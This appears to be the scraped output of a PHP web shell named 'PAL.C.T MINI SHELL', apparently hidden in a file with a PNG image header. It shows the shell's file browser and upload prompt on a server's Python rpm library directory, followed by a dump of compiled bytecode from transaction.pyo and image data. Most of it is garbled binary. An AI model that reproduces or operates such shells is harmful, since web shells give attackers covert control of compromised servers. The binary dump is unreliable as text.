php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/rpm/
upload
files >> //usr/lib/python2.6/site-packages/rpm/transaction.pyo

')[c@s6ddkZddklZdefdYZdS(iN(ttstTransactionSetcBseZdZdZdZdZdZdZdZdZ	dZ
d	Zd
dZdZ
d
ZdZdZdZRS(icCs#t||}t||||S(N(tgetattrtsetattr(tselftattrtvaltoval((s3/usr/lib/python2.6/site-packages/rpm/transaction.pyt_wrapSetGet
scCs|id|S(Nt_vsflags(R(Rtflags((s3/usr/lib/python2.6/site-packages/rpm/transaction.pyt
setVSFlagsscCs|iS(N(R	(R((s3/usr/lib/python2.6/site-packages/rpm/transaction.pyt
getVSFlagsscCs|id|S(Nt_color(R(Rtcolor((s3/usr/lib/python2.6/site-packages/rpm/transaction.pytsetColorscCs|id|S(Nt
_prefcolor(R(RR((s3/usr/lib/python2.6/site-packages/rpm/transaction.pytsetPrefColorscCs|id|S(Nt_flags(R(RR
((s3/usr/lib/python2.6/site-packages/rpm/transaction.pytsetFlagsscCs|id|S(Nt_probFilter(R(Rt	ignoreSet((s3/usr/lib/python2.6/site-packages/rpm/transaction.pyt
setProbFilterscCsddk}|i|S(Ni(t_rpmbtspec(RtspecfileR((s3/usr/lib/python2.6/site-packages/rpm/transaction.pyt	parseSpec!scCsDg}x!|D]}|i|iq
W|pdSt|SdS(N(tappendtKeytNonettuple(Rtkeystte((s3/usr/lib/python2.6/site-packages/rpm/transaction.pytgetKeys%stucCst|to)t|}|i|}|in*t|to|i|}n|}|djotdn|dj}ti||||pti	dndS(NR"tishow argument must be "u" or "i"s$adding package to transaction failed(R"R#(
t
isinstancetstrtfilethdrFromFdnotcloset
ValueErrort_rpmtst
addInstalltrpmterror(Rtitemtkeythowtftheadertupgrade((s3/usr/lib/python2.6/site-packages/rpm/transaction.pyR+/s
cCsg}t|tio
|g}nt|tio
|}nit|to|iti|}n@t|to|iti|}nt	dt
|x4|D],}ti||pti
dqqWt|tio~ndS(Nsinvalid type %sspackage not installed(R$R,thdrtmitinttdbMatchtRPMDBI_PACKAGESR%tRPMDBI_LABELt	TypeErrorttypeR*taddEraseR-(RR.thdrsth((s3/usr/lib/python2.6/site-packages/rpm/transaction.pyR<@s 

cCsti||||i}|djodSg}|djoJxG|iD]5}d||i|i|iff}|i|qMWn|S(Nis%s(	R*trunRRtproblemsR;t_strt_numR(RtcallbacktdatatrctrestprobR.((s3/usr/lib/python2.6/site-packages/rpm/transaction.pyR?Us


"cOsti|||g}x|iD]w}|itijo
ti}n$|itijo
ti}nq&|i	i
ddd}|i
dd\}}}	|iid}
|
d}ti
}t|
djo|
d}
|
iddjo|tiO}n|
iddjo|tiO}n|
id	djo|tiO}n|
d}nd
}|i|||	f||f|||ifq&W|S(Nt.iit-iit<t=t>t(R*tcheckR@R;R,tRPMPROB_CONFLICTtRPMDEP_SENSE_CONFLICTStRPMPROB_REQUIREStRPMDEP_SENSE_REQUIREStpkgNEVRtrsplittaltNEVRtsplittRPMSENSE_ANYtlentfindt
RPMSENSE_LESStRPMSENSE_EQUALtRPMSENSE_GREATERRR/(RtargstkwdsRFtptsensetnevrtntvtrtneedstneednamet	needflagstneedoptneedver((s3/usr/lib/python2.6/site-packages/rpm/transaction.pyRNes4



	
2cCsti||\}}|tijotidnG|tijotidn$|tijoti|ndS(Nspublic key not availablespublic key not trusted(R*thdrCheckR,tRPMRC_NOKEYR-tRPMRC_NOTTRUSTEDtRPMRC_OK(RtblobRFtmsg((s3/usr/lib/python2.6/site-packages/rpm/transaction.pyRjscCsti||\}}|tijotidnG|tijotidn$|tijotidn|S(Nspublic key not availablespublic key not trustedserror reading package header(R*R'R,RkR-RlRm(RtfdRFR>((s3/usr/lib/python2.6/site-packages/rpm/transaction.pyR's(t__name__t
__module__RRRRRRRRRR!R+R<R?RNRjR'(((s3/usr/lib/python2.6/site-packages/rpm/transaction.pyRs 									
			#	
(R,trpm._rpmRR*R(((s3/usr/lib/python2.6/site-packages/rpm/transaction.pyt<module>s
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`